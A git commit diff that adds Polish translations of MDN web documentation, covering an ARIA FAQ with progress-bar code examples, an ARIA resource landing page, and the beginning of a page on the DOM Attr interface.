diff options
| author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:52 -0500 |
|---|---|---|
| committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:52 -0500 |
| commit | 074785cea106179cb3305637055ab0a009ca74f2 (patch) | |
| tree | e6ae371cccd642aa2b67f39752a2cdf1fd4eb040 /files/pl/web | |
| parent | da78a9e329e272dedb2400b79a3bdeebff387d47 (diff) | |
| download | translated-content-074785cea106179cb3305637055ab0a009ca74f2.tar.gz translated-content-074785cea106179cb3305637055ab0a009ca74f2.tar.bz2 translated-content-074785cea106179cb3305637055ab0a009ca74f2.zip | |
initial commit
Diffstat (limited to 'files/pl/web')
1149 files changed, 113548 insertions, 0 deletions
diff --git a/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html b/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html new file mode 100644 index 0000000000..35510946d6 --- /dev/null +++ b/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html @@ -0,0 +1,299 @@ +--- +title: Aplikacje internetowe i ARIA FAQ +slug: Web/Accessibility/ARIA/Aplikacje_internetowe_i_ARIA_FAQ +tags: + - ARIA +translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ +--- +<h2 id="Czym_jest_ARIA">Czym jest ARIA?</h2> + +<p>WAI-ARIA z angielskiego <a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">Accessible Rich Internet Applications (ARIA)</a> dokumentacja stworzona przez <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative (WAI)</a> z inicjatywy <a class="external" href="http://www.w3.org/" title="http://www.w3.org/">W3C</a>. ARIA dostarcza sposób aby tworzyć aplikacje internetowe, lepiej dostępne dla osób zmagającymi się z różnorakimi problemami, włącznie z tymi, którzy muszą korzystać z dodatkowych narzędzi, które umożliwiają im użytkowanie stron internetowych takich jak: czytniki ekranowe czy szkła powiększające.</p> + +<p>ARIA dostarcza semantykę opisującą role (eng. roles), statusy (eng. states) oraz funkcjonalności dla wielu komponentów stron internetowych takich jak: nawigacje (menu), slajdery, okna dialogowe czy drzewa rozwijane (częściej występujące w aplikacjach desktopowych). Dostarcza również informacje strukturalne, które pomagają twórcom identyfikować odpowiednie komponenty. ARIA pozwala dynamicznym aplikacjom internetowym opartym o JavaScript na interpolację z technologiami pochodzenia desktopowego.</p> + +<p>Po więcej informacji na temat ARIA, przejdź do: <a href="/en/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="en/Accessibility/An overview of accessible web applications and widgets">Overview of accessible web applications and widgets</a>. (TBD Polish translation).</p> + +<h2 id="Wsparcie_dla_ARIA">Wsparcie dla ARIA</h2> + +<p>ARIA jest relatywnie młodą specyfikacją ale jest coraz lepiej wspierana. Posiada wsparcie głównych przeglądarek, technologii wspomagających, narzędzi JavaScript oraz aplikacji. Jednakże część użytkowników może wciąż używać starszych wersji tych narzędzi czy aplikacji. W takim przypadku możesz rozważyć implementację ARIA ulepszając swoją aplikację progresywnie, na przykład przy użyciu JavaScript, zamiast znaczników HTML w celu lepszego wsparcia dla użytkowników wciąż kożystających ze starych technologii.</p> + +<h3 id="Przeglądarki">Przeglądarki</h3> + +<p>ARIA posiada wsparcie następujacych przeglądarek:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Nazwa</th> + <th>Wersja minimum</th> + <th>Informacja dodatkowa</th> + </tr> + <tr> + <td>Firefox</td> + <td>3.0+</td> + <td>Działa z NVDA, JAWS 10+ i Orca</td> + </tr> + <tr> + <td><a class="external" href="http://dev.chromium.org/developers/design-documents/accessibility#TOC-WAI-ARIA-Support" title="http://dev.chromium.org/developers/design-documents/accessibility#TOC-WAI-ARIA-Support">Chrome</a></td> + <td>15+</td> + <td>Czytniki ekranowe mogą mieć problem z Chrome 15 i starszymi</td> + </tr> + <tr> + <td>Safari</td> + <td>4+</td> + <td>Działa z VoiceOver od iOS5 oraz OS X Lion</td> + </tr> + <tr> + <td><a class="external" href="http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/" title="http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/">Opera</a></td> + <td>9.5+</td> + <td>Wymaga VoiceOver na OS X w początkowych wersjach</td> + </tr> + <tr> + <td><a class="external" href="http://msdn.microsoft.com/en-us/library/cc891505%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/cc891505(v=vs.85).aspx">Internet Explorer</a></td> + <td>8+</td> + <td>Działa z JAWS 10+ i NVDA.</td> + </tr> + </tbody> +</table> + +<p>W niektórych przypadkach, we wczesnych wersjach przeglądarek, wsparcie ARIA może być ograniczone, po bardziej dokładne informacje udaj się na:</p> + +<ul> + <li><a class="external" href="http://caniuse.com/wai-aria" title="http://caniuse.com/wai-aria">caniuse.com</a></li> + <li><a class="external" href="http://www.paciellogroup.com/blog/2012/02/rough-guide-browsers-operating-systems-and-screen-reader-support/" title="http://www.paciellogroup.com/blog/2012/02/rough-guide-browsers-operating-systems-and-screen-reader-support/">The Paciello Group</a></li> +</ul> + +<h3 id="Technologie_wspomagające">Technologie wspomagające</h3> + +<p>Technologie wspomagające coraz częściej wspierają ARIA. Między innymi:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Nazwa Technologii</th> + <th>Wersja minimum, podstawowe wsparcie ARIA</th> + <th>Wersja minimum dla live region i alert support</th> + </tr> + <tr> + <td>NVDA</td> + <td>2010.2<br> + (NVDA is always a free upgrade)</td> + <td>2011.1 dla Firefox, brak wsparcia live region dla IE z dniem 2011.2.</td> + </tr> + <tr> + <td>Orca</td> + <td>? (TBD)</td> + <td>? (TBD)</td> + </tr> + <tr> + <td>VoiceOver</td> + <td>OSX 10.5,<br> + iOS 4</td> + <td>OS X 10.7<br> + iOS 5</td> + </tr> + <tr> + <td>JAWS</td> + <td>8</td> + <td>10</td> + </tr> + <tr> + <td>Window-Eyes</td> + <td>7</td> + <td>? (TBD)</td> + </tr> + <tr> + <td>ZoomText</td> + <td>?</td> + <td>? (TBD)</td> + </tr> + </tbody> +</table> + +<p>Wczesne wersje tych narzędzi często mają częściową implementację ARIA lub zawierającą błędy.</p> + +<p>Na temat wsparcia JAWS dla ARIA, przeczytaj artykuł Paciello Group: <a class="external" href="http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/" title="http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/">JAWS Support for ARIA</a>.</p> + +<h3 id="Narzędzia_JavaScript">Narzędzia JavaScript</h3> + +<p>Role (roles), statusy (states), właściwości (properties) zostały dodane do wielu popularnych narzędzi JavaScript do tworzenia komponentów webowych, między innymi:</p> + +<ul> + <li>Dojo/Dijit</li> + <li>jQuery UI</li> + <li>Fluid Infusion</li> + <li>Google Closure</li> + <li>Google Web Toolkit</li> + <li>BBC Glow</li> + <li>Yahoo! User Interface Library (YUI)</li> +</ul> + +<p>Po więcej informacji na temat dostępności ARIA w narzędziach JavaScript, przeczytaj:</p> + +<ul> + <li>Steve Faulkner's <a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">WAI-ARIA Implementation in JavaScript UI Libraries</a></li> +</ul> + +<h2 id="ARIA_w_akcji">ARIA w akcji</h2> + +<p><a id="aria-w-akcji" name="aria-w-akcji">Przykład atrybutu ARIA dla paska postępu:</a></p> + +<pre class="brush:html;"><div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /></pre> + +<p>Ten pasek postępu jest zbudowany z <div> z atrybutami ARIA określającymi role i właściwości. W tym przykładzie role="progressbar" daje informację przeglądarce, że działanie paska postępu jest sterowane w JavaScript. Atrybuty aria-valuemin oraz aria-valuemax określają minimalną i maksymalną wartość dla paska postępu, a aria-valuenow opisuje aktualny jego status.</p> + +<p>Atrybuty ARIA umieszczone wewnątrz tagu HTML mogą być dodawane i aktualizowane w JavaScript, kod poniżej:</p> + +<pre class="brush: javascript" id="line96">// Szukam elementu <div> w DOM. +var progressBar = document.getElementById("percent-loaded"); + +// Ustawiam role i statusy ARIA, aby technologie pomocnicze miały informację na temat komponentu. +progressBar.setAttribute("role", "progressbar"); +progressBar.setAttribute("aria-valuemin", 0); +progressBar.setAttribute("aria-valuemax", 100); + +// Tworzę funkcję aktualizującą pasek postępu, +// którą następnie wywołam w odpowiednim miejscu aby zaktualizować pasek postępu +function updateProgress(percentComplete) { + progressBar.setAttribute("aria-valuenow", percentComplete); +}</pre> + +<h2 id="Czy_ARIA_zmieni_styl_mojej_strony_lub_działanie" style="line-height: 23px;">Czy ARIA zmieni styl mojej strony lub działanie?</h2> + +<p>Nie. ARIA jest przeznaczona tylko dla API technologi pomocniczych (assistive technologies), nie ma wpływu na DOM czy style. ARIA jest tylko dodatawanym do elementu HTML przez developera atrybutem, który ma wspomóc AT API (assistive technologi API). Mimo, że sama ARIA nie zmienia stylów to w połączeniu z atrybutem HTML, możemy odpowiednio stylować elementy ARIA w CSS:</p> + +<pre class="brush: css">.tab-panel[aria-hidden="true"] { + display: none; + } + +.tab-panel[aria-hidden="false"] { + display: block; + } +</pre> + +<p><strong style="font-family: georgia,times,times new roman,serif; font-size: 1.628em; font-weight: 700; letter-spacing: -1px; line-height: 23px;">Co z walidacją?</strong></p> + +<p>Nowe atrybuty ARIA, jak <strong>role</strong> czy prefiks <strong>aria-</strong> nie są oficjalnie częścią specyfikacji HTML 4 czy XHTML 4. Przez co mogą nie przechodzić walidacji W3C: <a class="external" href="http://validator.w3.org/" title="http://validator.w3.org/">W3C's Markup Validator</a>.</p> + +<p>Jednym z rozwiązań tego problemu jest umieszczenie roli i statusów ARIA przy pomocy JavaScript jak zostało pokazane w powyższym przykładzie <a href="/#aria-w-akcji" title="#aria-in-action">ARIA w akcji</a>. Strona teoretycznie będzie niezgodna ze standardem ale przejdzie walidację.</p> + +<p>Problem rozwiązuje się w HTML5, który zawiera wbudowane wsparcie dla ARIA. Walidator W3C's HTML5 znajdzie nawet nieprawidłowe użycie ARIA na stronie HTML5.</p> + +<h2 id="Co_w_związku_z_HTML5_i_ARIA">Co w związku z HTML5 i ARIA?</h2> + +<p>HTML5 przedstawia wiele nowych tagów. Kilka z nich dotyczy bezpośrednio roli ARIA, jak na przykład nowy element <progress>. W przypadkach gdy przeglądarka wspiera tag HTML5 to również dotyczy ARIA, w takich przypadkach zazwyczaj nie ma potrzeby dodawania ról i statusów do elementu. ARIA zawiera jednak wiele ról, statusów i właściwości, które nie są dostępne w HTML5. W takim przypadku developer HTML5 może z nich korzystać. Po więcej informacji można się udać do artykułu Steve'a Faulkner'a <a class="external" href="http://www.paciellogroup.com/blog/2010/04/html5-and-the-myth-of-wai-aria-redundance/" title="http://www.paciellogroup.com/blog/2010/04/html5-and-the-myth-of-wai-aria-redundance/">o relacji HTML5 i ARIA</a>.</p> + +<h4 id="Łagodne_zejście_z_HTML5_do_ARIA">Łagodne zejście z HTML5 do ARIA</h4> + +<p>Przy tworzeniu aplikacji kompatybilnej HTML5 możesz zastosować w swoim kodzie łagodne zejście do ARIA w przypadku braku wsparcia dla przeglądarku. Używając przykładu z paskiem postępu, zastosować łagodne zejście, gdy tag <progressbar> nie jest wspierany.</p> + +<p>Przykład markupu HTML5 dla paska postępu:</p> + +<pre class="brush: html" id="line96"><!DOCTYPE html> +<html> + <head><title>Gracefully degrading progress bar</title></head> + <body> + <progress id="progress-bar" value="0" max="100">0% complete</progress> + <button id="update-button">Update</button> + </body> +</html> +</pre> + +<p>... i kod JavaScript zapewniający wsparcie dla starszych przeglądarek:</p> + +<pre class="brush: javascript" id="line96">var progressBar = document.getElementById("progress-bar"); + +// Sprawdza wsparcie tagu <progress> dla przeglądarki. +var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined"); + +function setupProgress() { + if (!supportsHTML5Progress) { + // HTML5 <progress> nie jest wspierany więc dodaje. + // ARIA role i statusy do elementu. + progressBar.setAttribute("role", "progressbar"); + progressBar.setAttribute("aria-valuemin", 0); + progressBar.setAttribute("aria-valuemax", 100); + } +} + +function updateProgress(percentComplete) { + if (!supportsHTML5Progress) { + // HTML5 <progress> nie jest wspierany przez przeglądarkę, + // więc musimy zaktualizować aria-valuenow atrybut + progressBar.setAttribute("aria-valuenow", percentComplete); + } else { + // HTML5 <progress> jest wspierany, więc aktualizujemy atrybut value. + progressBar.setAttribute("value", percentComplete); + } + + progressBar.textContent = percentComplete + "% complete"; +} + +function initDemo() { + setupProgress(); // Instalacja paska postępu. + + // Dodajemy click handler do przycisku, który zaktualizuje pasek postępu do 75%. + document.getElementById("update-button").addEventListener("click", function (e) { + updateProgress(75); + e.preventDefault(); + }, false); +} +initDemo(); +</pre> + +<h2 id="Jak_działają_technologie_pomocnicze_(assistive_technologies)">Jak działają technologie pomocnicze (assistive technologies)?</h2> + +<p>Technologie pomocnicze używają używają API wbudowane w każdy system operacyjny, zaprojektowane tak aby opisywać role, statusy oraz strukturę interfejsu użytkownika. Na przykład: czytnik ekranu używa API do czytania interfejsu użytkownika przy pomocy silnika text-to-speech (tekst do mowy), a szkło powiększające używa go do uwyraźnienia ważnych elementów na ekranie, klawiatura ekranowa może używać API aby dostosować się do aktualnego kontekstu lub interfejsu. Technologie pomocnicze często korzystają z DOM przez API, aby najlepiej zrozumieć semantykę i atrybuty na stronie.</p> + +<p>ARIA jest mostem pomiędzy DOM a desktopem. Przeglądarki wskazują elementy ARIA do API technologii pomocniczych aby wyglądały jak komponenty natywne. W rezultacie użytkownik dostaje bardziej zwarty UX, gdzie komponenty JavaScript można porównywać do odpowiedników desktopowych.</p> + +<h2 id="Jak_można_przetestować_ARIA_Są_do_tego_darmowe_narzędzia">Jak można przetestować ARIA? Są do tego darmowe narzędzia?</h2> + +<p>Istnieją narzędzia do sprawdzania i debugowania ARIA:</p> + +<ul> + <li>Object Inspector dla Windows</li> + <li>Accessibility Inspector dla OS X</li> + <li>AccProbe dla Linux</li> + <li>Firebug's DOM Inspector</li> + <li><a class="external" href="http://code.google.com/p/ainspector/" title="http://code.google.com/p/ainspector/">Accessibility Inspector for Firebug</a></li> + <li><a href="https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb">Accessibility Developer Tools</a> dla Chrome</li> +</ul> + +<p>Są również darmowe open source'owe czytniki ekranu, które mogą być użyte do testowania ARIA:</p> + +<ul> + <li><a class="external" href="http://live.gnome.org/Orca" title="http://live.gnome.org/Orca">Orca</a> dla Linux</li> + <li><a class="external" href="http://www.nvda-project.org/" title="http://www.nvda-project.org/">NVDA</a> dla Windows</li> + <li><a class="external" href="http://www.apple.com/accessibility/voiceover/" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a> wbudowany w OS X</li> +</ul> + +<p>Kiedy testujesz ARIA pamiętaj:</p> + +<ol> + <li>Nieformalne testowanie przy pomocy czytników ekranu, nigdy nie zastąpi informacji zwrotnej, testowania i pomocy prawdziwych użytkowników</li> + <li>Czytniki ekranu to nie wszystko. Spróbuj testować przy pomocy różnych metod użyczyteczności i dostępności.</li> +</ol> + +<p>Inne pomocne narzędzia i techniki testowania ARIA:</p> + +<ul> + <li><a class="external" href="http://yaccessibilityblog.com/library/test-aria-focus-bookmarklets.html" title="http://yaccessibilityblog.com/library/test-aria-focus-bookmarklets.html">Yahoo!'s ARIA bookmarklets</a></li> + <li>Fluid Project: <a class="external" href="http://wiki.fluidproject.org/display/fluid/Simple+Accessibility+Review+Protocol" title="http://wiki.fluidproject.org/display/fluid/Simple+Accessibility+Review+Protocol">simple accessibility evaluation techniques</a></li> +</ul> + +<h2 id="Gdzie_można_pogadać_i_dopytać_o_ARIA">Gdzie można pogadać i dopytać o ARIA?</h2> + +<ul> + <li><a class="external" href="http://lists.w3.org/Archives/Public/wai-xtech/" title="http://lists.w3.org/Archives/Public/wai-xtech/">Wai-xtech mailing list</a> -- dyskusja na temat specyfikacji.</li> + <li><a class="external" href="http://groups.google.com/group/free-aria" title="http://groups.google.com/group/free-aria">Free-ARIA google group</a> -- dla developerów i użytkowników darmowych narzędzi i źródeł.</li> +</ul> + +<h2 id="Gdzie_się_więcej_dowiem_o_ARIA">Gdzie się więcej dowiem o ARIA?</h2> + +<ul> + <li><a href="/en/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="en/Accessibility/An overview of accessible web applications and widgets">An overview of accessible web applications and widgets</a></li> + <li><a href="/en/Accessibility/Accessible_forms" title="en/Accessibility/Accessible forms">Accessible forms</a></li> + <li>The W3C's <a class="external" href="http://www.w3.org/WAI/aria/faq" title="http://www.w3.org/WAI/aria/faq">WAI-ARIA Frequently Asked Questions</a></li> + <li>WebAIM's <a class="external" href="http://webaim.org/techniques/aria/" title="http://webaim.org/techniques/aria/">Accessibility of Rich Internet Applications</a></li> +</ul> diff --git a/files/pl/web/accessibility/aria/index.html b/files/pl/web/accessibility/aria/index.html new file mode 100644 index 0000000000..55e431478e --- /dev/null +++ b/files/pl/web/accessibility/aria/index.html @@ -0,0 +1,127 @@ +--- +title: ARIA +slug: Web/Accessibility/ARIA +tags: + - ARIA + - Accessibility + - NeedsTranslation + - TopicStub + - Web +translation_of: Web/Accessibility/ARIA +--- +<p class="summary"><span class="seoSummary">Accessible Rich Internet Applications <strong>(ARIA)</strong> jest zbiorem atrybutów, które umożliwiają rozwój aplikacji webowych (szczególnie tych, które wykorzystują AJAX, Javascript itp.) w taki sposób, iż są one przyjaźniejsze ludziom z niepełnosprawnościami. Dla przykładu, ARIA umożliwia bezproblemową nawigację po stronie, pomoce przy typowaniu, przyjazne użytkownikowi aktualizacje treści, i wiele, wiele więcej. </span></p> + +<p>ARIA jest zbiorem specjalnych atrybutów poprawiajacych dostępność aplikacji, które mogą zostać dodane do dowolnego języka znaczników. Jednakże atrybuty te są przystosowane głównie pod HTML, co powoduje, iż są one wyłącznie tam stosowane.<br> + Atrybut <code>role</code> definiuje specjalne role dla obiektów (takich jak <code>article</code> , <code>alert</code> , <code>slider</code> , czy <code>button</code> ). Dodatkowo atrubuty ARIA dostarczają inne przydatne opcje, takie jak opis do <code>form</code> , albo właściwą długość pasku postępu (np. instalacji, aktualizacji lub innego działania). Atrybuty aria moga także zostać użyte w celu aktywacji, deaktywacji, czy ustalenia innego stanu obiektów (np. stanu <code>button</code>)<br> + </p> + +<p>ARIA jest zaimplementowana w najbardziej popularnych przeglądarkach i czytnikach ekranowych. Jednakże, implementacje różnią się między sobą i starsze technologie mogą takich atrybutów dobrze nie wspierać. Oczywiście jeśli w ogóle wspierają.</p> + +<div class="note"> +<p><strong>Note</strong>: Please contribute and make ARIA better for the next person! Not enough time? Send suggestions to Mozilla's <a href="https://lists.mozilla.org/listinfo/accessibility">accessibility mailing list</a>, or #accessibility <a href="https://wiki.mozilla.org/IRC">IRC channel</a>.</p> +</div> + +<div class="row topicpage-table"> +<div class="section"> +<h3 id="Zacznij_z_ARIĄ">Zacznij z ARIĄ</h3> + +<dl> + <dt>Instrukcje do ARI</dt> + <dd>A quick introduction to making dynamic content accessible with ARIA. See also the classic <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, from 2008.</dd> + <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ">Web Applications and ARIA FAQ</a></dt> + <dd>Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.</dd> + <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Videos of Screen Readers Using ARIA</a></dt> + <dd>See both real and simplified examples from around the web, including "before" and "after" ARIA videos.</dd> + <dt><a class="external" href="http://w3c.github.io/aria-in-html/">Using ARIA in HTML</a></dt> + <dd>A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.</dd> +</dl> + +<h3 id="Simple_ARIA_Enhancements">Simple ARIA Enhancements</h3> + +<dl> + <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">Enhancing Page Navigation with ARIA Landmarks</a></dt> + <dd>A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">See also, ARIA landmark implementation notes</a> and examples on real sites (updated as of July 2011).</dd> + <dt><a href="/en-US/docs/ARIA/forms">Improving Form Accessibility</a></dt> + <dd>ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.</dd> + <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (work-in-progress)</a></dt> + <dd>Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.</dd> + <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Using ARIA Live Regions to Announce Content Changes</a></dt> + <dd>A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.</dd> +</dl> + +<h3 id="ARIA_for_Scripted_Widgets">ARIA for Scripted Widgets</h3> + +<dl> + <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Keyboard Navigation and Focus for JavaScript Widgets</a></dt> + <dd>The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">Yahoo! focus management article</a> is a great resource as well.</dd> + <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt> + <dd>A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.</dd> +</dl> + +<h3 id="ARIA_Resources">ARIA Resources</h3> + +<dl> + <dt><a href="/en-US/docs/Accessibility/ARIA/widgets/overview">Widget Techniques, Tutorials, and Examples</a></dt> + <dd>Need a slider, a menu, or another kind of widget? Find resources here.</dd> + <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">ARIA-Enabled JavaScript UI Libraries</a></dt> + <dd>If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.</dd> +</dl> +</div> + +<div class="section"> +<h3 id="Mailing_List">Mailing List</h3> + +<dl> + <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Free ARIA Google Group</a></dt> + <dd>A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.</dd> +</dl> + +<h3 id="Blogs">Blogs</h3> + +<p>ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.</p> + +<p><a class="external" href="https://www.paciellogroup.com/blog/archive/">Paciello Group</a></p> + +<p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p> + +<h3 id="Filing_Bugs">Filing Bugs</h3> + +<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">File ARIA bugs on browsers, screen readers, and JavaScript libraries.</a></p> + +<h3 id="Examples">Examples</h3> + +<dl> + <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases">ARIA Examples Library</a></dt> + <dd>A set of barebones example files which are easy to learn from.</dd> + <dt>Accessible JS Widget Library Demos</dt> + <dd><a class="external" href="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://yuilibrary.com/gallery/">YUI</a></dd> + <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt> + <dd>Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">review of Yahoo! Mail</a> by screen reader Marco Zehe says, "Keep up the good work!".</dd> + <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt> + <dd>Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">sharing their techniques</a>. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.</dd> +</dl> + +<h3 id="Standardization_Efforts">Standardization Efforts</h3> + +<dl> + <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt> + <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd> + <dt><a class="external" href="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></dt> + <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd> + <dt><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/">WAI-ARIA Authoring Practices</a></dt> + <dd> + <p>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.</p> + + <p>For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</p> + </dd> + <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt> + <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd> + <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt> + <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.</dd> +</dl> +</div> +</div> + +<h3 id="Related_Topics" name="Related_Topics">Related Topics</h3> + +<p><a href="/en-US/docs/Accessibility">Accessibility</a>, <a href="/en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript">JavaScript</a></p> diff --git a/files/pl/web/api/attr/index.html b/files/pl/web/api/attr/index.html new file mode 100644 index 0000000000..8088fae8a9 --- /dev/null +++ b/files/pl/web/api/attr/index.html @@ -0,0 +1,164 @@ +--- +title: Attr +slug: Web/API/Attr +tags: + - API + - DOM +translation_of: Web/API/Attr +--- +<div>{{APIRef("DOM")}}</div> + +<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Interfejs </span></font><strong>Attr</strong></code> reprezentuje jeden z atrybutów elementu DOM jako obiekt.W większości metod DOM otrzymujesz wartość atrybutu bezpośrednio jako ciąg znaków (np., {{domxref("Element.getAttribute()")}}), oprócz niektórych funkcji (np., {{domxref("Element.getAttributeNode()")}}) lub sposobów iteracji zwracających typ <code>Attr</code>.</p> + +<p>{{InheritanceDiagram}}</p> + +<div class="warning"><strong>Warning: </strong>Poczynając od Gecko 7.0 {{geckoRelease("7.0")}}, pojawia się szereg przestarzałych właściwości i metod wyświetlających ostrzeżenia w konsoli. Powinieneś odpowiednio przejrzeć swój kod. Zobacz <a href="#Deprecated_properties_and_methods"> Przestarzałe właściwości i metody</a> aby zobacyć pełną listę.</div> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt> + <dd>Nazwa atrybutu.</dd> + <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt> + <dd>{{domxref("DOMString")}} reprezentujący przestrzeń nazw URI atrybutu lub <code>null</code> jeśli nie ma określonej przestrzeni nazw.</dd> + <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt> + <dd>{{domxref("DOMString")}} reprezentujący lokalną część kwalifikowanej przestrzeni nazw atrybutu.</dd> + <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt> + <dd>{{domxref("DOMString")}} reprezentujący prefiks przestrzeni nazw atrybutu lub <code>null</code> jeśli nie określono prefiksu.</dd> + <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt> + <dd> + <p>Element posiadający atrybut.</p> + + <div class="note"> + <p><strong>Note:</strong> DOM Level 4 usunął tę właściwość. Założono, że skoro otrzymujesz <code>Attr</code> z {{domxref("Element")}}, powinieneś znać powiązany element.<br> + Ponieważ nie jest to prawdą w przypadkach, takich jak obiekty <code>Attr</code> zwracane przez {{domxref("Document.evaluate")}}, DOM Living Standard wprowadził tę właściwość ponownie.</p> + + <p>Gecko wyświetla notę o deprecjonowaniu poczynając od Gecko 7.0 {{geckoRelease("7.0")}}. Nota została usunięta w in Gecko 49.0 {{geckoRelease("49.0")}}.</p> + </div> + </dd> + <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt> + <dd>Ta właściwosć zawsze zwraca <code>true</code>. Pierwotnie, zwracała <code>true</code> jeśli właściwość była określona wprost w kodzie źródłowym lub poprzez skrypt a <code>false</code> jeśli była domyślna lub określona w <acronym title="Document Type Definition">DTD</acronym>.</dd> + <dt>{{domxref("Attr.value", "value")}}</dt> + <dd>Wartość atrybutu.</dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> DOM Level 3 zdefiniował <code>namespaceURI</code>, <code>localName</code> i <code>prefix</code> w interfejsie{{domxref("Node")}}. W DOM4 zostały przeniesione do <code>Attr</code>.</p> + +<p>Ta zmiana została zaimplementowana w Chrome 46.0 i Firefox od wersji 48.0.</p> +</div> + +<h2 id="Przestarzałe_właściwości_i_metody">Przestarzałe właściwości i metody</h2> + +<p>Następujące właściwości są przestarzałe. Kiedy to możliwe, odpowiednie zastępcze właściwości są podane.</p> + +<dl> + 